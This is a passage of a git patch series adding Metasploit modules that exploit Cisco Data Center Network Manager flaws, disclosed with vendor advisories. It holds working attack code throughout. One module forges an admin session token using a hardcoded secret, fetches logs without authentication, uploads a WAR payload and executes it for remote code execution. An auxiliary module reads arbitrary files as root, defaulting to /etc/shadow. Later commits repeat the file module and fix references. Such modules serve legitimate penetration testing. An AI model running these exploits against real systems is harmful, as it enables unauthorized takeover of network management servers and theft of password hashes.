the best way to detect + # check if pmreport and fileUpload servlets return a 500 error with no params + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'pmreport'), + 'vars_get' => + { + 'token' => rand_text_alpha(5..20) + }, + 'method' => 'GET' + }) + if res && res.code == 500 + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'fileUpload'), + 'method' => 'GET', + }) + if res and res.code == 500 + return Exploit::CheckCode::Detected + end + end + + return Exploit::CheckCode::Unknown + end + + def target_select + if target != targets[0] + return target + else + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'fmrest', 'about','version'), + 'method' => 'GET' + }) + if res && res.code == 200 + if res.body =~ /\"version\":\"11\.1\(1\)/ + print_good("#{peer} - Detected DCNM 11.1(1)") + print_status("#{peer} - No authentication required, ready to exploit!") + return targets[1] + elsif res.body =~ /\"version\":\"11\.0\(1\)/ + print_good("#{peer} - Detected DCNM 11.0(1)") + print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit") + return targets[2] + elsif res.body =~ /\"version\":\"10\.4\(2\)/ + print_good("#{peer} - Detected DCNM 10.4(2)") + print_status("#{peer} - No authentication required, ready to exploit!") + return targets[3] + else + print_error("#{peer} - Failed to detect target version.") + print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!") + print_error(res.body) + print_status("#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass") + return targets[3] + end + end + fail_with(Failure::NoTarget, "#{peer} - Failed to determine target") + end + end + + + def auth_v11 + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fm/'), + 'method' => 'GET', + 'vars_get' => + { + 'userName' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }, + }) + + if res && res.code == 200 + # get the JSESSIONID cookie + if res.get_cookies + res.get_cookies.split(';').each { |cok| + if cok =~ /JSESSIONID/ + return cok + end + } + end + end + end + + + def auth_v10 + # step 1: get a JSESSIONID cookie and the server Date header + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fm/'), + 'method' => 'GET' + }) + + # step 2: convert the Date header and create the auth hash + if res and res.headers['Date'] + jsession = res.get_cookies.split(';')[0] + date = Time.httpdate(res.headers['Date']) + server_date = date.strftime("%s").to_i * 1000 + print_good("#{peer} - Got sysTime value #{server_date.to_s}") + + # auth hash format: + # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF + session_id = rand(1000..50000).to_s + md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s + + "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF" + md5_str = Base64.strict_encode64(md5) + + # step 3: authenticate our cookie as admin + # token format: sessionId.sysTime.md5_str.username + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'pmreport'), + 'cookie' => jsession, + 'vars_get' => + { + 'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin" + }, + 'method' => 'GET' + }) + + if res and res.code == 500 + return jsession + end + end + end + + + # use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log + def get_war_path + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'log', 'fmlogs.zip'), + 'method' => 'GET' + }) + + if res and res.code == 200 + tmp = Tempfile.new + # we have to drop this into a file first + # else we will get a Zip::GPFBit3Error if we use an InputStream + File.binwrite(tmp, res.body) + Zip::File.open(tmp) do |zis| + zis.each do |entry| + if entry.name =~ /jboss[0-9]*\.log/ + fdata = zis.read(entry) + if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.:]*)/] + return $1.strip + end + end + end + end + end + end + + + def exploit + target = target_select + + if target == targets[2] + jsession = auth_v11 + elsif target == targets[3] + jsession = auth_v10 + end + + # targets[1] DCNM 11.1(1) doesn't need auth! + if jsession == nil and target != targets[1] + fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie") + elsif target != targets[1] + print_good("#{peer} - Successfully authenticated our JSESSIONID cookie") + end + + war_path = get_war_path + if war_path == nil or war_path.empty? + fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs") + else + print_good("#{peer} - Obtain WAR path from logs: #{war_path}") + end + + # Generate our payload... and upload it + app_base = rand_text_alphanumeric(6..16) + war_payload = payload.encoded_war({ :app_name => app_base }).to_s + + fname = app_base + '.war' + post_data = Rex::MIME::Message.new + post_data.add_part(fname, nil, nil, content_disposition = "form-data; name=\"fname\"") + post_data.add_part(war_path, nil, nil, content_disposition = "form-data; name=\"uploadDir\"") + post_data.add_part(war_payload, + "application/octet-stream", 'binary', + "form-data; name=\"#{rand_text_alpha(5..20)}\"; filename=\"#{rand_text_alpha(6..10)}\"") + data = post_data.to_s + + print_status("#{peer} - Uploading payload...") + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'fileUpload'), + 'method' => 'POST', + 'data' => data, + 'cookie' => jsession, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + if res and res.code == 200 and res.body[/#{fname}/] + # step 5: call Shelly + print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...") + + sleep 10 + + print_status("#{peer} - Executing payload...") + send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], app_base), + 'method' => 'GET' + }) + + handler + else + fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file") + end + end +end From f45ad6f30a49c76b20d587d6dcac649d83a343a6 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Sat, 6 Jul 2019 22:56:12 +0800 Subject: [PATCH 020/217] add exploit for CVE-2019-1621 --- .../admin/cisco/cisco_dcnm_download.rb | 182 ++++++++++++++++++ 1 file changed, 182 insertions(+) create mode 100644 modules/auxiliary/admin/cisco/cisco_dcnm_download.rb diff --git a/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb b/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb new file mode 100644 index 0000000000..feeb050f1e --- /dev/null +++ b/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb @@ -0,0 +1,182 @@ + +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# Tested on : +# Linux/VA 10.4.2 OK +# Linux/VA 11.0.1 OK +# Linux/VA 11.1.1 OK + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cisco Data Center Network Manager Unauthenticated File Download', + 'Description' => %q{ + DCNM exposes a servlet to download files on /fm/downloadServlet. + An authenticated user can abuse this servlet to download arbitrary files as root by specifying + the full path of the file. + This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should + work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit + (see References to understand why). + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2019-1619' ], + [ 'CVE', '2019-1621' ], + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ], + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb' ], + [ 'URL', 'FULL_DISC' ] + ], + 'DisclosureDate' => 'Jun 26 2019' + )) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 443]), + OptBool.new('SSL', [true, 'Connect with TLS', true]), + OptString.new('TARGETURI', [ true, "Default server path", '/']), + OptString.new('USERNAME', [ true, "Username for auth (required only for 11.0(1)", 'admin']), + OptString.new('PASSWORD', [ true, "Password for auth (required only for 11.0(1)", 'admin']), + OptString.new('FILEPATH', [false, 'Path of the file to download', '/etc/shadow']), + ]) + end + + + def auth_v11 + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fm/'), + 'method' => 'GET', + 'vars_get' => + { + 'userName' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }, + }) + + if res && res.code == 200 + # get the JSESSIONID cookie + if res.get_cookies + res.get_cookies.split(';').each { |cok| + if cok =~ /JSESSIONID/ + return cok + end + } + end + end + end + + + def auth_v10 + # step 1: get a JSESSIONID cookie and the server Date header + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fm/'), + 'method' => 'GET' + }) + + # step 2: convert the Date header and create the auth hash + if res and res.headers['Date'] + jsession = res.get_cookies.split(';')[0] + date = Time.httpdate(res.headers['Date']) + server_date = date.strftime("%s").to_i * 1000 + print_good("#{peer} - Got sysTime value #{server_date.to_s}") + + # auth hash format: + # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF + session_id = rand(1000..50000).to_s + md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s + + "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF" + md5_str = Base64.strict_encode64(md5) + + # step 3: authenticate our cookie as admin + # token format: sessionId.sysTime.md5_str.username + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'pmreport'), + 'cookie' => jsession, + 'vars_get' => + { + 'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin" + }, + 'method' => 'GET' + }) + + if res and res.code == 500 + return jsession + end + end + end + + + def run + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'fmrest', 'about','version'), + 'method' => 'GET' + }) + noauth = false + + if res && res.code == 200 + if res.body =~ /\"version\":\"11\.1\(1\)/ + print_good("#{peer} - Detected DCNM 11.1(1)") + print_status("#{peer} - No authentication required, ready to exploit!") + noauth = true + elsif res.body =~ /\"version\":\"11\.0\(1\)/ + print_good("#{peer} - Detected DCNM 11.0(1)") + print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit") + jsession = auth_v11 + elsif res.body =~ /\"version\":\"10\.4\(2\)/ + print_good("#{peer} - Detected DCNM 10.4(2)") + print_status("#{peer} - No authentication required, ready to exploit!") + jsession = auth_v10 + else + print_error("#{peer} - Failed to detect module version.") + print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!") + print_error(res.body) + print_error("#{peer} - Trying unauthenticated method for DCNM 10.4(2) and below...") + jsession = auth_v10 + end + end + + if not jsession and not noauth + fail_with(Failure::Unknown, "#{peer} - Failed to authenticate JSESSIONID cookie") + else + print_good("#{peer} - Successfully authenticated our JSESSIONID cookie") + end + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'downloadServlet'), + 'method' => 'GET', + 'cookie' => jsession, + 'vars_get' => { + 'showFile' => datastore['FILEPATH'], + } + }) + + if res and res.code == 200 and res.body.length > 0 + filedata = res.body + vprint_line(filedata.to_s) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'cisco-DCNM.http', + 'application/octet-stream', + datastore['RHOST'], + filedata, + fname + ) + print_good("File saved in: #{path}") + else + fail_with(Failure::Unknown, "#{peer} - Failed to download file #{datastore['FILEPATH']}") + end + end +end From 9465a3c14387e8b3251091e32e7cd142e52bf688 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Sat, 6 Jul 2019 22:58:28 +0800 Subject: [PATCH 021/217] Delete cisco_dcnm_download.rb --- .../admin/cisco/cisco_dcnm_download.rb | 182 ------------------ 1 file changed, 182 deletions(-) delete mode 100644 modules/auxiliary/admin/cisco/cisco_dcnm_download.rb diff --git a/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb b/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb deleted file mode 100644 index feeb050f1e..0000000000 --- a/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb +++ /dev/null @@ -1,182 +0,0 @@ - -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -# Tested on : -# Linux/VA 10.4.2 OK -# Linux/VA 11.0.1 OK -# Linux/VA 11.1.1 OK - -class MetasploitModule < Msf::Auxiliary - - include Msf::Auxiliary::Report - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Cisco Data Center Network Manager Unauthenticated File Download', - 'Description' => %q{ - DCNM exposes a servlet to download files on /fm/downloadServlet. - An authenticated user can abuse this servlet to download arbitrary files as root by specifying - the full path of the file. - This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should - work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit - (see References to understand why). - }, - 'Author' => - [ - 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', '2019-1619' ], - [ 'CVE', '2019-1621' ], - [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ], - [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld' ], - [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb' ], - [ 'URL', 'FULL_DISC' ] - ], - 'DisclosureDate' => 'Jun 26 2019' - )) - - register_options( - [ - OptPort.new('RPORT', [true, 'The target port', 443]), - OptBool.new('SSL', [true, 'Connect with TLS', true]), - OptString.new('TARGETURI', [ true, "Default server path", '/']), - OptString.new('USERNAME', [ true, "Username for auth (required only for 11.0(1)", 'admin']), - OptString.new('PASSWORD', [ true, "Password for auth (required only for 11.0(1)", 'admin']), - OptString.new('FILEPATH', [false, 'Path of the file to download', '/etc/shadow']), - ]) - end - - - def auth_v11 - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'fm/'), - 'method' => 'GET', - 'vars_get' => - { - 'userName' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] - }, - }) - - if res && res.code == 200 - # get the JSESSIONID cookie - if res.get_cookies - res.get_cookies.split(';').each { |cok| - if cok =~ /JSESSIONID/ - return cok - end - } - end - end - end - - - def auth_v10 - # step 1: get a JSESSIONID cookie and the server Date header - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'fm/'), - 'method' => 'GET' - }) - - # step 2: convert the Date header and create the auth hash - if res and res.headers['Date'] - jsession = res.get_cookies.split(';')[0] - date = Time.httpdate(res.headers['Date']) - server_date = date.strftime("%s").to_i * 1000 - print_good("#{peer} - Got sysTime value #{server_date.to_s}") - - # auth hash format: - # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF - session_id = rand(1000..50000).to_s - md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s + - "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF" - md5_str = Base64.strict_encode64(md5) - - # step 3: authenticate our cookie as admin - # token format: sessionId.sysTime.md5_str.username - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'pmreport'), - 'cookie' => jsession, - 'vars_get' => - { - 'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin" - }, - 'method' => 'GET' - }) - - if res and res.code == 500 - return jsession - end - end - end - - - def run - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'fmrest', 'about','version'), - 'method' => 'GET' - }) - noauth = false - - if res && res.code == 200 - if res.body =~ /\"version\":\"11\.1\(1\)/ - print_good("#{peer} - Detected DCNM 11.1(1)") - print_status("#{peer} - No authentication required, ready to exploit!") - noauth = true - elsif res.body =~ /\"version\":\"11\.0\(1\)/ - print_good("#{peer} - Detected DCNM 11.0(1)") - print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit") - jsession = auth_v11 - elsif res.body =~ /\"version\":\"10\.4\(2\)/ - print_good("#{peer} - Detected DCNM 10.4(2)") - print_status("#{peer} - No authentication required, ready to exploit!") - jsession = auth_v10 - else - print_error("#{peer} - Failed to detect module version.") - print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!") - print_error(res.body) - print_error("#{peer} - Trying unauthenticated method for DCNM 10.4(2) and below...") - jsession = auth_v10 - end - end - - if not jsession and not noauth - fail_with(Failure::Unknown, "#{peer} - Failed to authenticate JSESSIONID cookie") - else - print_good("#{peer} - Successfully authenticated our JSESSIONID cookie") - end - - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'downloadServlet'), - 'method' => 'GET', - 'cookie' => jsession, - 'vars_get' => { - 'showFile' => datastore['FILEPATH'], - } - }) - - if res and res.code == 200 and res.body.length > 0 - filedata = res.body - vprint_line(filedata.to_s) - fname = File.basename(datastore['FILEPATH']) - - path = store_loot( - 'cisco-DCNM.http', - 'application/octet-stream', - datastore['RHOST'], - filedata, - fname - ) - print_good("File saved in: #{path}") - else - fail_with(Failure::Unknown, "#{peer} - Failed to download file #{datastore['FILEPATH']}") - end - end -end From 691dfeaf00e9c00f046a48794a6477df2840acb2 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Sat, 6 Jul 2019 22:58:49 +0800 Subject: [PATCH 022/217] Add files via upload --- .../admin/cisco/cisco_dcnm_download.rb | 182 ++++++++++++++++++ 1 file changed, 182 insertions(+) create mode 100644 modules/auxiliary/admin/cisco/cisco_dcnm_download.rb diff --git a/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb b/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb new file mode 100644 index 0000000000..feeb050f1e --- /dev/null +++ b/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb @@ -0,0 +1,182 @@ + +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# Tested on : +# Linux/VA 10.4.2 OK +# Linux/VA 11.0.1 OK +# Linux/VA 11.1.1 OK + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cisco Data Center Network Manager Unauthenticated File Download', + 'Description' => %q{ + DCNM exposes a servlet to download files on /fm/downloadServlet. + An authenticated user can abuse this servlet to download arbitrary files as root by specifying + the full path of the file. + This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should + work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit + (see References to understand why). + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2019-1619' ], + [ 'CVE', '2019-1621' ], + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ], + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb' ], + [ 'URL', 'FULL_DISC' ] + ], + 'DisclosureDate' => 'Jun 26 2019' + )) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 443]), + OptBool.new('SSL', [true, 'Connect with TLS', true]), + OptString.new('TARGETURI', [ true, "Default server path", '/']), + OptString.new('USERNAME', [ true, "Username for auth (required only for 11.0(1)", 'admin']), + OptString.new('PASSWORD', [ true, "Password for auth (required only for 11.0(1)", 'admin']), + OptString.new('FILEPATH', [false, 'Path of the file to download', '/etc/shadow']), + ]) + end + + + def auth_v11 + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fm/'), + 'method' => 'GET', + 'vars_get' => + { + 'userName' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }, + }) + + if res && res.code == 200 + # get the JSESSIONID cookie + if res.get_cookies + res.get_cookies.split(';').each { |cok| + if cok =~ /JSESSIONID/ + return cok + end + } + end + end + end + + + def auth_v10 + # step 1: get a JSESSIONID cookie and the server Date header + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fm/'), + 'method' => 'GET' + }) + + # step 2: convert the Date header and create the auth hash + if res and res.headers['Date'] + jsession = res.get_cookies.split(';')[0] + date = Time.httpdate(res.headers['Date']) + server_date = date.strftime("%s").to_i * 1000 + print_good("#{peer} - Got sysTime value #{server_date.to_s}") + + # auth hash format: + # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF + session_id = rand(1000..50000).to_s + md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s + + "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF" + md5_str = Base64.strict_encode64(md5) + + # step 3: authenticate our cookie as admin + # token format: sessionId.sysTime.md5_str.username + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'pmreport'), + 'cookie' => jsession, + 'vars_get' => + { + 'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin" + }, + 'method' => 'GET' + }) + + if res and res.code == 500 + return jsession + end + end + end + + + def run + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'fmrest', 'about','version'), + 'method' => 'GET' + }) + noauth = false + + if res && res.code == 200 + if res.body =~ /\"version\":\"11\.1\(1\)/ + print_good("#{peer} - Detected DCNM 11.1(1)") + print_status("#{peer} - No authentication required, ready to exploit!") + noauth = true + elsif res.body =~ /\"version\":\"11\.0\(1\)/ + print_good("#{peer} - Detected DCNM 11.0(1)") + print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit") + jsession = auth_v11 + elsif res.body =~ /\"version\":\"10\.4\(2\)/ + print_good("#{peer} - Detected DCNM 10.4(2)") + print_status("#{peer} - No authentication required, ready to exploit!") + jsession = auth_v10 + else + print_error("#{peer} - Failed to detect module version.") + print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!") + print_error(res.body) + print_error("#{peer} - Trying unauthenticated method for DCNM 10.4(2) and below...") + jsession = auth_v10 + end + end + + if not jsession and not noauth + fail_with(Failure::Unknown, "#{peer} - Failed to authenticate JSESSIONID cookie") + else + print_good("#{peer} - Successfully authenticated our JSESSIONID cookie") + end + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'fm', 'downloadServlet'), + 'method' => 'GET', + 'cookie' => jsession, + 'vars_get' => { + 'showFile' => datastore['FILEPATH'], + } + }) + + if res and res.code == 200 and res.body.length > 0 + filedata = res.body + vprint_line(filedata.to_s) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'cisco-DCNM.http', + 'application/octet-stream', + datastore['RHOST'], + filedata, + fname + ) + print_good("File saved in: #{path}") + else + fail_with(Failure::Unknown, "#{peer} - Failed to download file #{datastore['FILEPATH']}") + end + end +end From 0f32f03dfd696b36f58533ca62af3d9a450c6b66 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Sat, 6 Jul 2019 23:15:19 +0800 Subject: [PATCH 023/217] Update cisco_dcnm_download.rb --- modules/auxiliary/admin/cisco/cisco_dcnm_download.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb b/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb index feeb050f1e..87d931efc9 100644 --- a/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb +++ b/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb @@ -1,6 +1,6 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## From 54f98cbdc380ecc633a8c0775e0b544af55938e4 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 10 Jul 2019 01:02:41 +0100 Subject: [PATCH 024/217] Add full disc link --- cisco_dcnm_upload_2019.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cisco_dcnm_upload_2019.rb b/cisco_dcnm_upload_2019.rb index 3599995e9a..235c49e22a 100644 --- a/cisco_dcnm_upload_2019.rb +++ b/cisco_dcnm_upload_2019.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ], [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ], - [ 'URL', 'FULLDISC' ] + [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, From 54b6e489a8f06d44cd6cff7826828f3fdb403022 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Wed, 10 Jul 2019 01:03:01 +0100 Subject: [PATCH 025/217] Add full disc link --- modules/auxiliary/admin/cisco/cisco_dcnm_download.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb b/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb index 87d931efc9..76d95a4e1c 100644 --- a/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb +++ b/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ], [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb' ], - [ 'URL', 'FULL_DISC' ] + [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ] ], 'DisclosureDate' => 'Jun 26 2019' )) From eebe13c1dedfe37f4abe66582c8a48a8da2726da Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 11 Jul 2019 12:11:16 +0100 Subject: [PATCH 026/217] Update cisco_dcnm_upload_2019.rb Co-Authored-By: @shellfail --- cisco_dcnm_upload_2019.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cisco_dcnm_upload_2019.rb b/cisco_dcnm_upload_2019.rb index 235c49e22a..c78b34b064 100644 --- a/cisco_dcnm_upload_2019.rb +++ b/cisco_dcnm_upload_2019.rb @@ -98,7 +98,7 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'GET', }) if res and res.code == 500 - return Exploit::CheckCode::Detected + return CheckCode::Detected end end From fa75632c7ebf57cf546c54507584b0ab806cd732 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 11 Jul 2019 12:11:27 +0100 Subject: [PATCH 027/217] Update cisco_dcnm_upload_2019.rb Co-Authored-By: @shellfail --- cisco_dcnm_upload_2019.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cisco_dcnm_upload_2019.rb b/cisco_dcnm_upload_2019.rb index c78b34b064..979f8273ba 100644 --- a/cisco_dcnm_upload_2019.rb +++ b/cisco_dcnm_upload_2019.rb @@ -102,7 +102,7 @@ class MetasploitModule < Msf::Exploit::Remote end end - return Exploit::CheckCode::Unknown + CheckCode::Unknown end def target_select From 7386e416e6a54232eeeac79f9faeecea2f714182 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Fri, 12 Jul 2019 22:01:29 +0100 Subject: [PATCH 028/217] Update and rename cisco_dcnm_upload_2019.rb to modules/exploit/multi/http/cisco_dcnm_upload_2019.rb --- .../exploit/multi/http/cisco_dcnm_upload_2019.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename cisco_dcnm_upload_2019.rb => modules/exploit/multi/http/cisco_dcnm_upload_2019.rb (99%) diff --git a/cisco_dcnm_upload_2019.rb b/modules/exploit/multi/http/cisco_dcnm_upload_2019.rb similarity index 99% rename from cisco_dcnm_upload_2019.rb rename to modules/exploit/multi/http/cisco_dcnm_upload_2019.rb index 979f8273ba..8225c9d1bf 100644 --- a/cisco_dcnm_upload_2019.rb +++ b/modules/exploit/multi/http/cisco_dcnm_upload_2019.rb @@ -1,6 +1,6 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## From 18f76f00b5803825d34d7e42b2c6f7e62b227a89 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Fri, 12 Jul 2019 22:02:05 +0100 Subject: [PATCH 029/217] Rename modules/exploit/multi/http/cisco_dcnm_upload_2019.rb to modules/exploits/multi/http/cisco_dcnm_upload_2019.rb --- .../{exploit => exploits}/multi/http/cisco_dcnm_upload_2019.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/{exploit => exploits}/multi/http/cisco_dcnm_upload_2019.rb (100%) diff --git 